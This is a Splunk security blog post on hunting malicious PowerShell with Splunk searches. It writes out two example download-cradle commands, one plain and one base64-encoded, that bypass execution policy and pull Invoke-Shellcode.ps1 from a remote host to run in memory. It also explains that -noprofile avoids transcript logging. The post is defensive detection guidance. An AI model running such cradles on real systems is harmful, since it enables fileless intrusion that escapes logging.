In the last episode of "Ryan's Tall Tales of PowerShells," I discussed my single favorite method to log PowerShell activity. Today, we shall talk about some methods to hunt the PowerShells.
In my research for our "Hunting the Known Unknowns" presentation at .conf2016, I mentally broke malicious PowerShell toolsets into two methodologies: collection of scripts and agent based. These techniques are best exemplified by the tools PowerSploit and PowerShell Empire. PowerSploit can be thought of as a library of PowerShell scripts that actors can use to exploit machines, exfiltrate data and much more. PowerShell Empire can be thought of as "Metasploit" for PowerShell. It acts as a framework and controller that listens to PowerShell agents that are running on victims' machines.
The good news is that none of that matters when you are trying to detect them on your network or host. They both run...PowerShell. In this blog post, I will quickly outline some methods for detecting either "methodology" and give some examples that could be quickly built upon. This article assumes that you have some or all of the following:
As discussed, PowerSploit is a collection of PowerShell scripts that adversaries download and execute. But unlike most toolsets that computer network defense (CND) operatives deal with, PowerShell scripts can be downloaded and executed in memory using a "Download Cradle." This "cradle" allows users to actually import modules into PowerShell and execute them without ever leaving evidence on the physical machine. However, since you are a clever monkey and enabled "ALL THE LOGS" we can now see some of this behavior. Let's first concentrate on detecting lazy hackers who use IEX. Their command might look a little something like this:
powershell.exe -exec bypass –noprofile –c iex(New-Object Net.WebClient).DownloadString ('http://10.0.2.210:8081/CodeExecution/Invoke-Shellcode.ps1')
We see powershell.exe executing but it runs with the -exec, -noprofile and -c flags. The option "-exec bypass" means powershell.exe will EXECute unsigned scripts without warning. "-noprofile" disregards any "profile" settings that powershell.exe would normally slurp up. This flag is what prevents powershell.exe from writing "transcripts" even if you have the GPO setting configured. Finally, the "-c" is short for "-Command." "-Command" tells PowerShell to run the text between the quotation marks as PowerShell commands.
Got it? Sweetness. Lets move on.
The second part is the actual download cradle. It goes off to the 10.0[.]2.210 website and and installs that "Invoke-Shellcode.ps1" script into memory as a PowerShell module. Now that PowerShell has this "Invoke-Shellcode" module installed, you can use the commands from the "Invoke-Shellcode" modle to run forensically obscured naughtyness in PowerShell.
So how do we hunt this?
index=* sourcetype=stream:http | where like(uri, "%.ps1") | rex field=uri "\/(?<script_name>[^\/]+(?=$))" | eval dest_content=substr(dest_content,1,100) | stats VALUES(dest_content) VALUES(uri) by dest_ip
index=* sourcetype="WinEventLog:Security" Process_Command_Line=* | eval Process_Command_Line=lower(Process_Command_Line) | search Process_Command_Line=*iex*new-object* | stats VALUES(Process_Command_Line) BY host
But let's say our adversary is smarter than the average bear...
What if they encode their command with base64? PowerShell allows the execution of base64 commands to allow the execution of quotation marks and curly braces. However, evil 400-pound hackers can also use this capability to hide their malicousiocity from the view of valient CND folks. So what does it look like?
powershell.exe -exec bypass –noprofile -EncodedCommand aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAwAC4AMQAxADQALgAxADEAMQAuADIAMAA0AC8AQwBvAGQAZQBFAHgAZQBjAHUAdABpAG8AbgAvAEkAbgB2AG8AawBlAC0AUwBoAGUAbABsAGMAbwBkAGUALgBwAHMAMQAiACkA
Right off the bat you should see some differences. The base64 encoding looks UGLY! And it is. Ryan Chapman and Lisa Tawfall have a great search in their .conf2016 presentation "PowerShell Power Hell: Hunting for Malicious Use of PowerShell with Splunk" where they extract and decode the base64 text out of the Process_Command_Line field created by a tool called WLS!
However, I found that you can actually just start with looking for long Process_Command_Line fields! Super easy and—when combined with a FalsePositive lookup table—extremely powerful. You could also look at using shannon entropy with the URL Toolbox app but (suprisingly) I didn't find this to be as accurate.
sourcetype="WinEventLog:Security" Process_Command_Line=*
| eval length=len(Process_Command_Line) | table length, Process_Command_Line | sort -length
Of course, if you WANT to replicate the work done by Lisa and Ryan, I am happy to help. The search below requires the install of the DECRYPT app. Also, the search below is slightly modified from their talk to use CIM/regular windows logs.
index=* EventCode=4688 | rex field=Process_Command_Line "-((?i)enc|encodedcommand|encode|en)\s\'?(?<base64_command>\w{20,1000}\=?\=?)\'?" | decrypt field=base64_command atob() emit('base64_decoded_command') | stats count by base64_decoded_command
Okay, I know this was late, but until next time…happy hunting!
The Splunk platform removes the barriers between data and action, empowering observability, IT and security teams to ensure their organizations are secure, resilient and innovative.
Founded in 2003, Splunk is a global company — with over 7,500 employees, Splunkers have received over 1,020 patents to date and availability in 21 regions around the world — and offers an open, extensible data platform that supports shared data across any environment so that all teams in an organization can get end-to-end visibility, with context, for every interaction and business process. Build a strong data foundation with Splunk.